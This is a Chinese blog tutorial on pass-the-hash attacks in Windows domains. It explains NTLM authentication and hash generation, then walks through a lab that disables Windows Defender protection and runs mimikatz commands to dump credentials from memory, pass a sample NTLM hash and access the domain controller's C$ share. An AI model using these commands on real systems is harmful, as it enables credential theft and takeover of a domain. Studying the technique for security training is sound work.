哈希传递 (内网渗透)

Windows登录认证

1、用户在客户端输入username、passsword、domain,客户端会将password进行hash计算保存到本地

2、客户端将username明文传输到域控主机,域控主机会随机生成16字节的challenge(挑战码)返回给客户端

3、客户端收到challenge之后会用之前的password的hash进行加密(response)和challenge、username一起发送给服务器,服务端会将收到的信息转发给域控

4、域控收到服务端发来的response、challenge、username,会拿着username在活动目录数据库中查询对应的password hash,并且使用自己的password hash对challenge进行一次加密,如果用户发来的response相同则身份验证成功,不相同则为验证失败

概念

一开始客户端与服务器之间信息沟通使用SMB协议明文传输,微软为了提高Windows操作系统的安全性采用了DES加密(散列加密算法),但由于 LM Hash的生成原理最关键的地方是密码不足14字节需要用0补全,这样就造成 LM Hash较容易被破解,随后就产生了 NTML Hash。

NTML Hash

生成过程

用户密码 -----> 转换为16进制格式 ----> 进行Unicode编码 ----> 使用MD4摘要算法 ----> 最终密文

1、首先将用户密码转换为十六进制格式

2、再将十六进制格式的密码进行Unicode编码

3、最后使用MD4摘要算法对Unicode编码数据进行Hash计算,得到密文

原理

哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

NTML验证靠HASH值

1、获得一台域主机的权限

2、Dump内存获得用户hash

3、通过pass the hash尝试登录其他主机

4、继续搜集hash并尝试远程登录

5、直到获得域管理员账户hash,登录域控,最终成功控制整个域

利用

基础环境

域控:sever-2008

DMZ:win10

mimikatz准备好

1、sever-2008搭建域

哈希传递 (内网渗透)_第1张图片

 2、Windows-10加入域

哈希传递 (内网渗透)_第2张图片

 这里有一个需要注意的点,Windows-10中实时保护一定得关掉

 哈希传递 (内网渗透)_第3张图片

 3、mimikatz这个程序得注意,打开cmd(管理员身份,一定不要忘)运行mimikatz程序

哈希传递 (内网渗透)_第4张图片

成功命令秘籍

privilege::debug                                      提升权限(注:需以管理员权限运行)
sekurlsa::logonpasswords                      获取内存中保存的登录信息,查看hash值
sekurlsa::pth /user:administrator /domain:xxx.com /ntlm:a803cf45d87009c404eb89df4b1ae94c
                                                               弹出新窗口
dir \\xx.xx.xx.254\c$                               域控ip

type \\xx.xx.xx.254\1.txt                         查看新建的文件夹

 哈希传递 (内网渗透)_第5张图片

 4、提升权限

哈希传递 (内网渗透)_第6张图片

 5、查看哈希值

哈希传递 (内网渗透)_第7张图片

 6、弹出新窗口

哈希传递 (内网渗透)_第8张图片

哈希传递 (内网渗透)_第9张图片

 7、拿下域控

哈希传递 (内网渗透)_第10张图片

哈希传递 (内网渗透)_第11张图片

重要条件:

哈希传递只有在相同密码的情况下有用!!!

#认真走好每一小步  请多指教

@L尘痕

你可能感兴趣的:(哈希算法,算法,网络安全,安全)